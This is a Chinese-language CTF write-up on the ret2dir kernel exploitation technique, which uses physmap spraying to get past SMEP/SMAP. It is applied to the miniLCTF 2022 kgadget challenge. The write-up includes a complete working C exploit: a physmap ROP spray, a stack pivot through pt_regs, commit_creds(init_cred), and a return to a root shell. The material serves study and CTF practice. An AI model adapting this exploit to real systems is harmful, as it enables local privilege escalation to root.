kernel-pwn之ret2dir利用技巧

前言

ret2dir是2014年在USENIX发表的一篇论文，该论文提出针对ret2usr提出的SMEP、SMAP等保护的绕过。全称为return-to-direct-mapped memory，返回直接映射的内存。

ret2dir

在SMEP与SMAP等用于隔离用户与内核空间的保护出现时，内核中常用的利用手法是ret2usr，如下图所示（图片来自论文）。首先是在内核中找到可以控制指针的漏洞，修改指针使其指向为用户空间，因此在用户空间布置恶意的数据或者代码，完成漏洞的利用。但是当SMEP与SMAP保护的出现，在内核态下，不能够执行或者访问用户空间的代码或者数据，导致了该利用方式失效，因为即使在用户空间中部署了payload，在内核态下也无法访问。因此这种通过显示数据的共享方式已经不再适用了。

所以作者提出了一种思路，能否在内核空间中也能够访问到用户空间的数据。作者最终找到了一段区域，可以隐式的访问用户空间的数据。在内核中存在这部分区域direct mapping of all physical memory，物理地址直接映射区。

这个映射区其实就是内核空间会与物理地址空间进行线性的映射，我们可以在这段区域直接访问到物理地址对应的内容。

那么作者就提出了一种攻击场景，由于在虚地址中的内容最终都会映射到物理地址上，若能将用户空间的数据同样映射到这段区域上，岂不是就可以在内核空间也可以访问到用户空间的数据了。该段区域也被称之为phsymap，它是一段大的，连续的虚拟内存区域，它包含了部分或全部的物理内存的直接映射。下图这种情况作者也称之为是虚拟地址别名的情况，因为在用户空间与内核空间中都存在一个地址可以访问payload。

最终作者构想的攻击场景如下图所示（图片来自论文），不同于ret2usr，指针不再被修改为指向用户空间，而是指向了物理地址的直接映射区，由于该映射区指向物理地址，而在用户空间构造的payload也会映射到物理地址，因此若能获得指向存在payload的用户空间对应的物理地址在phsymap位置，就能够直接执行用户空间的payload。

想要获得映射地址有以下方法

（1）通过读取/proc/pid/pagemap获取，该文件中存放了物理地址与虚拟地址的映射关系，可是该文件需要root权限才能读取。

（2）通过大量覆盖phsymap内存的方法，提高命中率。使用堆喷技术，在该内存区填充大量的payload这样既不会影响payload的执行，又能够提高命中payload的可能性，填充效果如下图

在旧版本的内核中phsymap是具有可执行权限的，因此可以在用户空间中填充shellcode，但是如今的内核版本phsymap已经不具备可执行权限了，因此只能在里面填充ROP链

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miniLCTF_2022-kgadget

题目地址：https://github.com/h0pe-ay/Kernel-Pwn/tree/master/miniLCTF_2022

kgadget_ioctl

在kgadget_ioctl中，当我们输入的操作码为0x1BF52时，会将rdx寄存器中的值进行解引用，并且以函数的方式调用该地址，这就导致了任意地址执行。

run.sh

题目提供的run.sh开启了smep与smap的保护，但是没有开启地址随机化KASLR。因此虽然我们可以控制内核执行任意的地址，但是由于题目开启了smep与smap，因此该地址值不能选择为用户空间的地址。

#!/bin/sh
qemu-system-x86_64 \
    -m 256M \
    -cpu kvm64,+smep,+smap \
    -smp cores=2,threads=2 \
    -kernel bzImage \
    -initrd ./rootfs.cpio.gz \
    -nographic \
    -monitor /dev/null \
    -snapshot \
    -append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \
    -no-reboot \
    -s

ret2dir利用流程

首先是如何执行我们指定的地址值的，可以看到实际是将我们传入的地址，解引用后存放到rbx寄存器，结果通过将rbx寄存器的值移动到栈顶，从而修改栈顶的值，接着调用ret指令，使得执行被解引用的值。

想要使得内核提权，需要执行commit(prepare_kernel_cred(0)，接着通过swapgs和ret指令的组合。因此需要找到一段内存，将该流程的ROP链填充进去。这是因为kgadget_ioctl并不是执行我们传入进去的地址，而是需要将该地址先解引用后再执行，相当于需要执行传入地址对应的内容。因此若我们直接将commit函数的地址传入进去，它会执行commit函数指向的内容。

那么这段区域需要选取在哪里，若我们直接再用户空间中构造这段payload，接着将用户空间地址传递给ioctl是不可行的，因为内核开启了smap与smep的保护，因此对用户空间的访问都是不被允许的。

因此需要用到ret2dir的技巧，由于用户空间的虚拟地址同样会映射到物理地址，而在内核空间存在一段内存被称之为phsymap，它存放着物理地址的内容，因此我们在用户空间填充的内容，可以在phsymap找到。但是这段内存十分庞大，有64TB的大小，我们怎么才能确保搜索到存放我们payload的地址呢？答案就是尽可能的填充，使得我们用户空间的payload尽可能的大，那么我们搜索到的几率也会增大。

我们以页(4096)为单位开辟内存，并且循环了0x4000次，

void copy_dir()
{
    char *payload;
    payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    for (int i = 0; i < 4096; i++)
        payload[i] = 'z';
}
...
int main()
{
    ...
    for(int i = 0; i < 0x4000; i++)
        copy_dir();
}

可以发现，在用户空间写入的z值，我们在内核空间同样可以访问到。当然写入的次数以及字节数是可以自己人为调整的，可以频繁尝试，尽可能的大的填充，这样我们找到的几率也更大。

当然有时候页的大小页不一定是4096，因此可以使用getconf PAGESIZE获得页的大小

因此我们已经找到能够访问到用户空间payload的内核地址值，接着需要将内核栈的空间迁移到phsymap上，这是因为用原来的内核栈无法使得连续gadget之间的调用。这里修改为测试gadget，用于测试不做栈迁移会发生什么。

    unsigned long *payload;
    payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    payload[0] = 0xffffffff8108c6f0; //pop_rdi;ret;
    payload[1] = 0xffffffff8108c6f0; //pop_rdi;ret;

可以看到执行一次pop rdi; ret，这是因为ret指令会将当前栈顶的值弹出栈，而我们输入的值不再栈上，而是在phsymap上。因此当我们输入的ROP链不再栈上时，就需要使用栈迁移。

由于内核中存在着需要改变rsp寄存器的gadget，只要使用add rsp, xxx; ret即可完成栈迁移。因此需要在栈上填入phsymap的地址，使得经过add rsp, xxx后能够使得rsp指向phsymap。为了使得栈上能够存储phsymap的地址，这里需要借助一个结构体pt_regs。

struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

可以看到这个结构体存放了一系列的寄存器，这是因为在进行系统调用时，会完成从用户态到内核态的切换，因此需要保存用户态时的上下文寄存器，而这些寄存器的值都需要保存在pt_regs中。使用下述代码测试上述pt_regs结构体存放的位置。

    target =  0xffff888000000000 + 0x6000000;
    __asm(
        ".intel_syntax noprefix;"
        "mov r15, 0x15151515;"
        "mov r14, 0x14141414;"
        "mov r13, 0x13131313;"
        "mov r12, 0x12121212;"
        "mov r11, 0x11111111;"
        "mov r10, 0x10101010;"
        "mov r9,  0x99999999;"
        "mov r8,  0x88888888;"
        "mov rax, 0x10;"
        "mov rcx, 0xcccccccc;"
        "mov rdx, target;"
        "mov rsi, 0x1BF52;"
        "mov rdi, fd;"
        "syscall;"
        ".att_syntax;"
    );

可以看到我们在执行系统调用之前的参数，都会以pt_regs结构体中的顺序进行存放，这里需要注意的是r11寄存器用来存放了rflags的值。

不过出题者在会对pt_regs结构体中的部分寄存器的值进行修改。

最后只剩下r8与r9寄存器是可控的。但是只是用两个寄存器的值就足于完成栈迁移的操作了。

这里可以计算一下栈顶到r9寄存器的距离0xffffc9000021ff98 - 0xffffc9000021fed0 = 0xc8，因此找到add rsp 0xc0的寄存器即可，因为ret指令还会进行一次弹栈操作。这里一开始是使用extract-image.sh进行提取，但是会报错。因此改用vmlinux-to-elf，这个工具提取出的符号比较全。工具的地址为https://github.com/marin-m/vmlinux-to-elf

提取出来就可以愉快的获取gadget。由于没找到add 0xc8的gadget，因此找了个平替的。再结合pop rsp; ret 指令即可完成栈迁移的操作。

add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; 
pop rsp; ret;

接着需要考虑堆喷的填充大量内存，因为题目没有开启地址随机化，因此即使不使用堆喷，也能够定位到具体的地址，但是实际情况是该地址可以随机，因此需要确保落入到其他地址也能完成利用。由于第一条指令必须是add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;，因为需要进行栈迁移。因此在一页的内存中，因使用尽量多的该指令进行填充，确保栈迁移的正常执行。

由于完成提权的payload需要0x58的大小，而该指令会将rsp抬高0xc0，因此用(4096 - 0x58 - 0xc0) / 8 = 0x1dd，因此这里循环复制该指令0x1dd次，接着将剩余空间使用ret指令（常用的堆喷的指令）填充（这里使用了xor esi , esi; ret，因为异或操作不影响。）

for (int i = 0; i < 0x1dd; i++)
    payload[index++] = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; 
for (int i = 0; i < 24; i++)
    payload[index++] = 0xffffffff81224afc; //xor esi, esi; ret;

最后是在提权时没找到合适gadget将prepare_kernel_cred的返回值即rax寄存器的值，移动到rdi寄存器中。因此学了下出题者的wp，发现出题者使用了init_cred结构体作为commit_creds函数的参数。

init_cred 是 Linux 内核中的一个结构体，用于表示进程的初始凭证。它包含了与进程相关的安全属性和权限信息。，init_cred 结构体通常用于表示初始的 root 凭证。因此只需要借助一个pop rdi;ret的gadget加上init_cred结构体的地址就可以完成root凭证的初始化了。

exp

最后完整的exp如下

#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>

#define COLOR_NONE "\033[0m" //表示清除前面设置的格式
#define RED "\033[1;31;40m" //40表示背景色为黑色, 1 表示高亮
#define BLUE "\033[1;34;40m"
#define GREEN "\033[1;32;40m"
#define YELLOW "\033[1;33;40m"

/*

0xffffffff81488561: add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; 
0xffffffff810c92e0: T commit_creds
0xffffffff810c9540: T prepare_kernel_cred
0xffffffff81224afc: xor esi, esi; ret;
0xffffffff8108c6f0: pop rdi; ret;
0xffffffff82a6b700 D init_cred;
0xffffffff81c00fb0 T swapgs_restore_regs_and_return_to_usermode
0xffffffff811483d0: pop rsp; ret;
*/
int fd;
unsigned long user_ss, user_cs, user_sp, user_rflags;    
unsigned long target;
unsigned long target1;

void save_state();
void copy_dir();
void back_door();

void back_door()
{
    printf(RED"getshell");
    system("/bin/sh");
}

void copy_dir()
{

    unsigned long *payload;
    unsigned int index = 0;
    payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);                                                                                                                                                                                                                                                                                                                                            
    for (int i = 0; i < 0x1dd; i++)
        payload[index++] = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; 
    for (int i = 0; i < 24; i++)
        payload[index++] = 0xffffffff81224afc; //xor esi, esi; ret;
    payload[index++] = 0xffffffff8108c6f0; // pop rdi ret
    payload[index++] = 0xffffffff82a6b700; //init_cred
    payload[index++] = 0xffffffff810c92e0; //commit_creds
    payload[index++] = 0xffffffff81c00fb0 + 0x1b; //swapgs_restore_regs_and_return_to_usermode
    payload[index++] = 0;
    payload[index++] = 0;
    payload[index++] = (unsigned long)back_door;
    payload[index++] = user_cs;
    payload[index++] = user_rflags;
    payload[index++] = user_sp;
    payload[index++] = user_ss;
    
}

void save_state()
{
    __asm(
        ".intel_syntax noprefix;"
        "mov user_ss, ss;"
        "mov user_cs, cs;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    printf(RED"[*]save state\n");
    printf(BLUE"[+]user_ss:0x%lx\n", user_ss);
    printf(BLUE"[+]user_cs:0x%lx\n", user_cs);
    printf(BLUE"[+]user_cs:0x%lx\n", user_sp);
    printf(BLUE"[+]user_rflags:0x%lx\n", user_rflags);
    printf(RED"[*]save finish\n");
}

int main()
{
    save_state();    
    fd = open("/dev/kgadget", O_RDWR);
    /*
    for(int i = 0; i < 0x4000; i++)
        copy_dir();
    */
    
    target =  0xffff888000000000 + 0x6000000;
    __asm(
        ".intel_syntax noprefix;"
        "mov r15, 0x15151515;"
        "mov r14, 0x14141414;"
        "mov r13, 0x13131313;"
        "mov r12, 0x12121212;"
        "mov r11, 0x11111111;"
        "mov r10, 0x10101010;"
        "mov r9,  0xffffffff811483d0;"
        "mov r8,  target;"
        "mov rax, 0x10;"
        "mov rcx, 0xcccccccc;"
        "mov rdx, target;"
        "mov rsi, 0x1BF52;"
        "mov rdi, fd;"
        "syscall;"
        ".att_syntax;"
    );
        
}

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